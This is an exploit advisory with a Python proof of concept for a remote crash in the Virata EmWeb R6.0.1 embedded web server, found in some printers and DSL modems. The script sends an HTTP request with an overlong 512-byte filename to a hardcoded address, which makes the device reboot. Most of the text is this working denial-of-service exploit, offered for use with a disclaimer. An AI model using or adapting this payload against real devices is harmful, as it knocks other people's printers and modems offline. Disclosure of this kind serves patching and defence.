# Exploit Title: Virata EmWeb R6.0.1 Remote Crash Vulnerability # Date: 06/04/10 # Author: Jobert Abma (Online 24) # Email: j.abma[at]online24[dot]nl # Version: R6.0.1 # Tested on: linux # CVE :() # Code : # This was written for educational purpose. Use it at your own risk. # Author will be not responsible for any damage. - Exploit - The Virata EmWeb software is embedded in multiple printers and DSL modems. For example the HP Color LaserJet 2800-series. When sending a long header (long filename), the printer will reboot. Other soft- and hardware isn't tested yet. - POC - #!/usr/bin/python import socket host = '192.168.1.110' port = 80 header = 'GET /' + ('A'*512) + ' HTTP/1.0\r\nHost: ' + host + '\r\nConnection: Close\r\n\r\n' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) print 'Sending header...' s.send(header) print 'Done!'